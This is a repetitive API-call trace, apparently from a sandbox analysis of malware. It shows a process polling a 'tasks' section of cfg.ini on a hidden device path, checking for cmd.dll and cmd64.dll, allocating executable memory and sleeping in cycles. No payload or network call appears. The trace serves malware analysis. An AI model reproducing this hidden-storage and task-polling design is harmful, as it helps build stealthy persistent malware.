[0130.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.159] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.159] IdePortDispatch () returned 0x103 [0130.159] KeWaitForMutexObject () returned 0x0 [0130.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.159] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.159] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.159] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.159] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.159] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07130 [0130.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.159] KeLeaveCriticalRegion () [0130.159] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.159] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.159] KeEnterCriticalRegion () [0130.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.159] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.159] KeLeaveCriticalRegion () [0130.159] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.159] KeEnterCriticalRegion () [0130.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.159] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.159] IdePortDispatch () returned 0x103 [0130.159] KeWaitForMutexObject () returned 0x0 [0130.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.160] KeLeaveCriticalRegion () [0130.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.160] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.160] KeEnterCriticalRegion () [0130.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d32000 [0130.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.160] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.160] IdePortDispatch () returned 0x103 [0130.160] KeWaitForMutexObject () returned 0x0 [0130.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.160] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.160] IdePortDispatch () returned 0x103 [0130.160] KeWaitForMutexObject () returned 0x0 [0130.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.160] KeLeaveCriticalRegion () [0130.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.161] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.161] KeEnterCriticalRegion () [0130.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.161] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.161] KeLeaveCriticalRegion () [0130.161] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.161] KeEnterCriticalRegion () [0130.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.161] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.161] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.161] KeLeaveCriticalRegion () [0130.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.161] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.161] KeEnterCriticalRegion () [0130.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.161] ExFreePoolWithTag (P=0xfffffa8003c07130, Tag=0x0) [0130.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.161] KeLeaveCriticalRegion () [0130.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.162] ReleaseMutex (hMutex=0xf0) returned 1 [0130.162] Sleep (dwMilliseconds=0x927c0) [0130.178] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.178] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.178] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.178] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.178] KeEnterCriticalRegion () [0130.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.178] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.178] IdePortDispatch () returned 0x103 [0130.178] KeWaitForMutexObject () returned 0x0 [0130.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.178] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.178] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.178] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.178] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.178] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc20 [0130.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.178] KeLeaveCriticalRegion () [0130.178] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.178] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.179] KeEnterCriticalRegion () [0130.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.179] KeLeaveCriticalRegion () [0130.179] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.179] KeEnterCriticalRegion () [0130.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.179] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.179] IdePortDispatch () returned 0x103 [0130.179] KeWaitForMutexObject () returned 0x0 [0130.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.179] KeLeaveCriticalRegion () [0130.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.179] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.179] KeEnterCriticalRegion () [0130.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d37000 [0130.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.179] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.179] IdePortDispatch () returned 0x103 [0130.179] KeWaitForMutexObject () returned 0x0 [0130.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.180] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.180] IdePortDispatch () returned 0x103 [0130.180] KeWaitForMutexObject () returned 0x0 [0130.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.180] KeLeaveCriticalRegion () [0130.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.180] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.180] KeEnterCriticalRegion () [0130.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.181] KeLeaveCriticalRegion () [0130.181] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.181] KeEnterCriticalRegion () [0130.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.181] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.181] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.181] KeLeaveCriticalRegion () [0130.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.181] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.181] KeEnterCriticalRegion () [0130.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.181] ExFreePoolWithTag (P=0xfffffa800294cc20, Tag=0x0) [0130.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.181] KeLeaveCriticalRegion () [0130.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.181] ReleaseMutex (hMutex=0xf0) returned 1 [0130.181] Sleep (dwMilliseconds=0x927c0) [0130.196] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.196] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.196] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.196] KeEnterCriticalRegion () [0130.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.196] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.196] IdePortDispatch () returned 0x103 [0130.197] KeWaitForMutexObject () returned 0x0 [0130.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.197] KeLeaveCriticalRegion () [0130.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.197] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.197] KeEnterCriticalRegion () [0130.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.197] KeLeaveCriticalRegion () [0130.197] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.197] KeEnterCriticalRegion () [0130.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.197] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.198] IdePortDispatch () returned 0x103 [0130.198] KeWaitForMutexObject () returned 0x0 [0130.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.198] KeLeaveCriticalRegion () [0130.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.198] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.198] KeEnterCriticalRegion () [0130.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3c000 [0130.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.198] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.198] IdePortDispatch () returned 0x103 [0130.198] KeWaitForMutexObject () returned 0x0 [0130.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.198] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.198] IdePortDispatch () returned 0x103 [0130.198] KeWaitForMutexObject () returned 0x0 [0130.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.199] KeLeaveCriticalRegion () [0130.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.199] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.199] KeEnterCriticalRegion () [0130.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.199] KeLeaveCriticalRegion () [0130.199] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.199] KeEnterCriticalRegion () [0130.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.199] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.199] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.199] KeLeaveCriticalRegion () [0130.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.200] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.200] KeEnterCriticalRegion () [0130.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.200] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.200] KeLeaveCriticalRegion () [0130.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.200] ReleaseMutex (hMutex=0xf0) returned 1 [0130.200] Sleep (dwMilliseconds=0x927c0) [0130.215] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.215] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.215] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.215] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.215] KeEnterCriticalRegion () [0130.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.215] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.215] IdePortDispatch () returned 0x103 [0130.215] KeWaitForMutexObject () returned 0x0 [0130.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.215] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.215] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.215] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.216] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.216] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c010 [0130.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.216] KeLeaveCriticalRegion () [0130.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.216] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.216] KeEnterCriticalRegion () [0130.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.216] KeLeaveCriticalRegion () [0130.216] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 